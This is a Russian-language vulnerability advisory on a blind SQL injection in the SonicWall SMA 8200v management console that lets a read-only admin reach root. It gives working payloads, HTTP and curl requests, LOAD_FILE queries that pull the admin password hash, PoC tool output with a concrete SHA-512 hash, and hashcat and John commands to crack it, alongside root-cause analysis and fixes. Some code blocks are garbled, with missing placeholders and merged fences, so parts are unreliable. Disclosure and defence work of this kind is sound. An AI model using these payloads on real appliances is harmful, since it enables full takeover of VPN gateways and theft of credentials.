SonicWall SMA 8200v: Повышение привилегий через межпараметрическую слепую SQL-инъекцию

Прошивка: 12.5.0-02283 (платформенный хотфикс на базе 12.5.0-02002)

Консультация SonicWall

1. Краткое описание

Уязвимость слепой SQL-инъекции после аутентификации в консоли управления SonicWall SMA 8200v (порт 8443) позволяет любому аутентифицированному администратору — включая учётные записи с низкими привилегиями только для чтения — извлечь SHA-512 хэш пароля главного администратора из файла конфигурации устройства. Поскольку SonicWall использует одни и те же учётные данные как для администратора консоли управления, так и для учётной записи root операционной системы, взлом этого хэша даёт полный доступ уровня root к устройству.

Классификация: Повышение привилегий (от администратора с низкими привилегиями до Root) CVSS 3.1: 7.2 (Высокий) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Сложность атаки: Низкая (автоматизированный PoC завершает извлечение за ~60-90 минут) Предварительные условия: Любые действительные учётные данные консоли управления (включая учётные записи только для чтения)

2. Затронутые компоненты

3. Сведения об уязвимости

3.1 Первопричина: неполная санитизация входных данных в safeParam()

Консоль управления формирует SQL-запросы для панели активных пользователей с помощью вспомогательного метода safeParam() в классе com.aventail.mgmt.sql.Sql. Этот метод экранирует одинарные кавычки (') и двойные кавычки (") путём их удвоения, но не экранирует символы обратной косой черты (\).

В MySQL/MariaDB обратная косая черта является символом экранирования по умолчанию внутри строковых литералов. Последовательность \' заставляет базу данных интерпретировать одинарную кавычку как литеральный символ, а не как завершитель строки. Это означает, что обратная косая черта в конце значения параметра экранирует закрывающую кавычку, которую добавляет приложение, в результате чего строковый литерал SQL расширяется в соседний синтаксис.

Пробел в санитизации:``` Input: test
safeParam output: test\ (backslash NOT escaped) In SQL: ... rt.name='test') AND (ct.name='...' ^^ backslash escapes the closing quote

The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.

### 3.2 Injection Mechanics: Cross-Parameter Technique

The `activeUsers.action` endpoint accepts multiple filter parameters that are interpolated into a single SQL WHERE clause. The relevant parameters are `realmFilter` and `communityFilter`, which appear in a query structured approximately as:```sql
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

Настройка параметров атаки:

Результирующий SQL после интерполяции:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')

Разбивая это:

1. `rt.name='test\')` — `\` экранирует `'`, поэтому строка здесь не закрывается
2. `AND (ct.name='` — становится частью строкового значения (литеральный текст)
3. Строка наконец закрывается на следующем `'` (из начала `communityFilter`)
4. `))` — закрывает две открытые круглые скобки из структуры WHERE-условия
5. `OR (SELECT IF(...))` — внедряет условие слепой SQL-инъекции
6. `-- x` — закомментировывает остаток SQL (`')` и другие условия)

### 3.3 Извлечение данных на основе временной задержки

Поскольку обработка ошибок Struts 2 в приложении корректно перехватывает SQL-исключения (всегда возвращая HTTP 200 с тем же содержимым страницы независимо от успеха или неудачи запроса), методы извлечения на основе ошибок и UNION-запросов неприменимы. Инъекция эксплуатируется с помощью техники слепой временной задержки:

- **Условие TRUE:** `IF(<условие>, SLEEP(N), 0)` — ответ задерживается на время SLEEP, умноженное на количество строк в результирующем наборе
- **Условие FALSE:** Без SLEEP — ответ возвращается за ~200-500 мс

Функция SLEEP выполняется для каждой строки при оценке WHERE-условия. При типичной таблице мониторинга, содержащей 30-300+ строк, даже небольшое значение SLEEP (например, 0,3 с) даёт чётко различимую задержку (10-100 с для TRUE против <1 с для FALSE).

Каждый символ целевых данных извлекается с помощью бинарного поиска по диапазону ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

Для этого требуется максимум 7 запросов на символ (log2(128) = 7), что даёт ~686 запросов для 98-символьного хэша SHA-512.

4. Цепочка эксплуатации

4.1 Обзор```

                     PRIVILEGE ESCALATION CHAIN

============================================================================

[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover

### 4.2 Шаг 1: Аутентификация

Консоль управления SMA поддерживает два домена аутентификации:

| Идентификатор домена | Отображаемое имя | Пользователи |
|----------|-------------|-------|
| *(пусто)* | Консоль управления | Только основная учётная запись администратора |
| `AMCAuthRealm` / `Local Authentication` | Локальная аутентификация | Дополнительные учётные записи администратора (readonly, custom) |

Для атаки требуется только действительные учётные данные для **любой** учётной записи с доступом к консоли управления. Учётной записи "readonly" — предназначенной только для мониторинга без возможности изменения конфигурации — достаточно.

Аутентификация выполняется через J2EE FORM-based аутентификацию:

1. `GET /console.action` — получение страницы входа, извлечение CSRF-токена из скрытого поля формы
2. `POST /j_security_check` — отправка `csrfToken`, `j_username`, `j_password` и `realmId`
3. HTTP 303 перенаправление при успехе, устанавливается cookie `JSESSIONID`

### 4.3 Шаг 2: SQL-инъекция

После аутентификации злоумышленник отправляет POST-запрос к `/activeUsers.action` с межпараметрической инъекцией:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

Безусловная проверка IF(1=1, SLEEP(0.3), 0) подтверждает работоспособность инъекции, наблюдая измеримую задержку в HTTP-ответе.

4.4 Шаг 3: LOAD_FILE() — произвольное чтение файлов

База данных MariaDB работает под системным пользователем ОС DbAdmin (uid=1001, gid=500 aventail). Этот пользователь базы данных обладает ALL PRIVILEGES ON *.* WITH GRANT OPTION, включая привилегию FILE, необходимую для LOAD_FILE().

Критическая находка: несмотря на настройку конфигурации MariaDB secure_file_priv = NULL (которая блокирует операции записи INTO OUTFILE и INTO DUMPFILE), функция LOAD_FILE() для чтения файлов остаётся полностью работоспособной. Это документированное, но малоизвестное поведение MariaDB — secure_file_priv=NULL ограничивает пути записи файлов, но не отключает чтение файлов, когда у пользователя есть привилегия FILE.

Целевой конфигурационный файл /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml принадлежит mgmt-server:aventail с правами 664 (rw-rw-r--). Поскольку системный пользователь DbAdmin входит в группу aventail, LOAD_FILE() может прочитать этот файл.

Проверка через слепую SQL-инъекцию:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable

### 4.5 Шаг 4: Поиск хэша администратора в avconfig.xml

Файл `avconfig.xml` (~98 КБ) является основным хранилищем конфигурации устройства. Он содержит все учётные данные пользователей в формате SHA-512 crypt в XML-элементах `<password>`. Основной хэш администратора находится в блоке `<credentials_item>` рядом с элементом `<consoleMode>`, который уникален для раздела администратора.

Вместо использования жёстко заданных байтовых смещений (которые перестали бы работать при изменении конфигурации выше раздела администратора), извлечение выполняется с помощью строковых функций MySQL для динамического поиска хэша:```sql
SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE(<path>),
    LOCATE('<password>', LOAD_FILE(<path>),
      LOCATE('consoleMode', LOAD_FILE(<path>))
    ) + 10,                    -- skip past '<password>' tag (10 chars)
    120                        -- max SHA-512 crypt length
  ),
  '<',                         -- trim at '</password>' closing tag
  1
)

Логика:

1. LOCATE('consoleMode', file) — находит смещение в байтах строки consoleMode, привязываясь к секции конфигурации администратора
2. LOCATE('<password>', file, anchor_offset) — находит первый тег <password> после этой точки привязки
3. SUBSTRING(file, tag_offset + 10, 120) — извлекает значение хеша (пропуская 10-символьный тег <password>)
4. SUBSTRING_INDEX(result, '<', 1) — обрезает до закрывающего тега </password>

Такой подход не зависит от позиции и устойчив к изменениям конфигурации в других местах файла. Всё выражение кодируется с помощью шестнадцатеричных литералов MySQL (0x...), чтобы избежать проблем с кавычками в контексте инъекции.

4.6 Шаг 5: Посимвольное извлечение хеша

Каждый символ хеша извлекается с помощью бинарного поиска:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),

, 1)) > , SLEEP(0.3), 0)

Бинарный поиск сужает диапазон ASCII [0, 127] вдвое с каждым запросом:

| Шаг | Диапазон | Тест | Результат |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | сходится | Символ = chr(n) |

Для известного хеша администратора (`$6$WHTK8ybQ$MchVNW...`) извлечение всех 98 символов требует примерно 686 HTTP-запросов.

### 4.7 Шаг 6: Взлом хеша

Извлечённый хеш имеет стандартный формат SHA-512 crypt:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

Hashcat

hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O

John the Ripper

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

### 4.8 Шаг 7: Полная компрометация

В архитектуре SonicWall SMA пароль администратора консоли управления используется в качестве root-пароля ОС. Это осознанное проектное решение — когда пароль администратора задаётся или изменяется через консоль управления, он применяется как к веб-интерфейсу, так и к учётной записи root в Linux. Поэтому взлом административного хэша даёт:

- **Консоль управления (порт 8443):** полный административный доступ ко всей конфигурации, политикам, управлению пользователями и мониторингу
- **SSH (порт 22):** доступ к root-оболочке базовой операционной системы Debian Linux
- **Последовательная консоль:** вход под root для физического/внеполосного доступа

---

## 5. Способствующие факторы

Несколько архитектурных решений в совокупности делают эту уязвимость эксплуатируемой:

### 5.1 Неполная санитизация SQL

Метод `safeParam()` в `com.aventail.mgmt.sql.Sql` экранирует кавычки, но не обратные слеши. Это хорошо известный класс SQL-инъекций — поведение экранирования обратных слешей в MySQL документировано как угроза безопасности ещё с начала 2000-х годов. Исправление тривиально: либо экранировать обратные слеши (`\` → `\\`), либо установить режим SQL `NO_BACKSLASH_ESCAPES`, либо использовать параметризованные запросы.

### 5.2 Избыточно привилегированный пользователь базы данных

Пользователь MariaDB `DbAdmin` работает с правами `ALL PRIVILEGES ON *.* WITH GRANT OPTION`. Это предоставляет возможности, значительно превышающие требования приложения, включая:

- привилегию `FILE` (LOAD_FILE, INTO OUTFILE)
- привилегию `SUPER`
- `GRANT OPTION` (возможность создавать новые учётные записи суперпользователя)

Приложению нужны только SELECT/INSERT/UPDATE/DELETE для собственных баз данных. Чрезмерные привилегии превращают SQL-инъекцию из извлечения данных в произвольное чтение/запись файлов.

### 5.3 Неправильная конфигурация secure_file_priv

Хотя `secure_file_priv = NULL` блокирует операции **записи** файлов (`INTO OUTFILE`, `INTO DUMPFILE`), он **не** блокирует операции **чтения** файлов (`LOAD_FILE()`). Это документированное поведение MariaDB, которое часто понимают неправильно. Администраторы и разработчики часто предполагают, что `secure_file_priv = NULL` отключает весь файловый ввод-вывод, но он ограничивает только путь записи.

Чтобы полностью отключить `LOAD_FILE()`, необходимо отозвать привилегию `FILE` у пользователя базы данных:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';

5.4 Права на чувствительный конфигурационный файл

Файл avconfig.xml, содержащий все хэши паролей, принадлежит пользователю mgmt-server:aventail с режимом доступа 664. Группа aventail включает OS-пользователя DbAdmin (под которым работает MariaDB). Это означает, что процесс базы данных может читать главный конфигурационный файл устройства, включая все сохранённые учётные данные.

Более строгая модель прав (например, режим 600 с владельцем mgmt-server:mgmt-server, или хранение хэшей в отдельном файле секретов, доступном только управляющему приложению) предотвратила бы доступ LOAD_FILE() к хэшам даже при наличии привилегии FILE.

5.5 Общие учётные данные администратора/root

Решение использовать один и тот же пароль для администратора консоли управления и OS-учётной записи root означает, что извлечение хэша администратора из прикладного уровня напрямую даёт доступ root к операционной системе. Это устраняет любую границу между веб-прикладным уровнем и базовой операционной системой.

5.6 Учётная запись только для чтения имеет полный доступ к SQLi

Роль "readonly" консоли управления предназначена для предоставления доступа только для мониторинга без возможности изменения конфигурации. Однако конечная точка activeUsers.action обрабатывает параметры фильтрации одинаково для всех аутентифицированных пользователей, независимо от роли. Учётная запись только для чтения может выполнять ту же SQL-инъекцию, что и основной администратор, поскольку уязвимость находится в пути извлечения данных (список/фильтрация активных пользователей), а не в пути изменения конфигурации.

6. Доказательство концепции

6.1 Инструмент: sma_admin_hash_poc.py

Полностью автоматизированный инструмент эксплуатации был разработан и проверен на реальной цели.

Использование (учётная запись readonly — подтверждение повышения привилегий):```bash python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v

**Этапы выполнения:**

1. **Этап 1: Аутентификация** — Выполняет вход с указанными учётными данными и realm, получает JSESSIONID
2. **Этап 2: Проверка** — Подтверждает, что SQLi работает (тайминг SLEEP), LOAD_FILE может прочитать avconfig.xml, и присутствует якорь хеша администратора
3. **Этап 3: Извлечение** — Бинарный поиск извлекает полный SHA-512 хеш посимвольно
4. **Этап 4: Вывод** — Записывает хеш в формате, готовом для hashcat, и выводит команды для взлома

**Наблюдаемый вывод:**```
[*] Target: 10.10.10.35:8443
[*] User:   readonly
[*] Realm:  Local Authentication

[*] Phase 1: Authenticating to admin console...
[+] Authentication successful

[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml

[*] Phase 3: Extracting admin password hash...
    Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...

6.2 Ручная проверка через curl

Инъекцию также можно проверить вручную без использования PoC-инструмента:```bash

Authenticate and obtain session cookie

curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken

curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"

Baseline request (no injection) — expect ~200ms

time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

Injected request (SLEEP 5 via subquery) — expect 10+ seconds

time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

### 6.3 Прямая проверка SQL через MySQL CLI

Имея root-доступ по SSH, выражение извлечения SQL можно проверить напрямую:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248

-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
    LOCATE('<password>',
      LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
      LOCATE('consoleMode',
        LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
      )
    ) + 10,
    120
  ),
  '<',
  1
) AS admin_hash;

-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

7. Оценка воздействия

7.1 Прямое воздействие

7.2 Сценарии атак

Сценарий 1: Инсайдерская угроза / нарушение принципа минимальных привилегий Администратор с доступом только на чтение (аналитик SOC, аудитор, младший инженер), имеющий легитимный мониторинговый доступ, повышает свои привилегии до полного администратора/root, обходя все средства контроля доступа на основе ролей.

Сценарий 2: Эскалация при компрометации учётных данных Злоумышленник, получивший любые учётные данные консоли управления (фишинг, подбор учётных данных, пароли по умолчанию), может повысить привилегии до root независимо от предполагаемого уровня привилегий скомпрометированной учётной записи.

Сценарий 3: Сетевое перемещение (Pivot) Root-доступ к устройству SMA обеспечивает постоянную точку опоры на сетевой периферии. Злоумышленник может перехватывать VPN-трафик, изменять маршрутизацию, получать доступ к внутренним сегментам сети и извлекать все учётные данные VPN-пользователей из конфигурации.

8. Рекомендации

8.1 Немедленные меры по снижению риска

1. Параметризованные запросы: Замените интерполяцию строк в safeParam() на подготовленные выражения / параметризованные запросы во всём SQL-слое консоли управления. Это устраняет инъекцию независимо от экранирования символов.

2. Отзыв привилегии FILE: Удалите привилегию FILE у пользователя базы данных DbAdmin: ```sql REVOKE FILE ON . FROM 'DbAdmin'@'localhost'; FLUSH PRIVILEGES;

   root@kitploit:~

3. Ограничьте привилегии базы данных: Примените принцип минимальных привилегий к DbAdmin — предоставьте только SELECT, INSERT, UPDATE, DELETE на конкретные базы данных, которые требуются приложению (monitoring, scheduler, troubleshooting).

4. Ограничьте права на avconfig.xml: Измените владельца файла и права доступа, чтобы пользователь базы данных не мог читать конфигурацию: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml

   root@kitploit:~

8.2 Архитектурные улучшения

5. Раздельные учётные данные администратора и root: Развяжите пароль администратора консоли управления от пароля root ОС. Используйте отдельные учётные данные с независимыми механизмами смены/ротации.

6. Доступ к конечным точкам на основе ролей: Ограничьте доступ к конечной точке activeUsers.action (и ко всем остальным конечным точкам запроса данных) на основе роли пользователя на уровне приложения, а не только на уровне интерфейса/меню.

7. Ужесточение режима SQL: Установите NO_BACKSLASH_ESCAPES в конфигурации MariaDB, чтобы глобально отключить интерпретацию escape-последовательностей с обратной косой чертой: ```ini [mysqld] sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES

   root@kitploit:~

8. Раздельное хранение хэшей: Храните хэши паролей в отдельном файле или таблице базы данных, недоступной для обычного пользователя базы данных приложения, а не в основном XML-файле конфигурации.

9. Хронология

10. Ссылки

• Документация MariaDB по LOAD_FILE: LOAD_FILE() требует привилегию FILE; secure_file_priv ограничивает SELECT ... INTO, но не LOAD_FILE()
• Поведение escape-последовательностей обратной косой черты в MySQL: когда NO_BACKSLASH_ESCAPES не установлен, \ обрабатывается как escape-символ в строковых литералах
• Спецификация SHA-512 crypt: префикс $6$, настраиваемое количество раундов (по умолчанию 5000), 86-символьный вывод хэша в Base64
• Режим 1800 в Hashcat: sha512crypt ($6$)
• Шпаргалка OWASP по предотвращению SQL-инъекций: параметризованные запросы как основная защита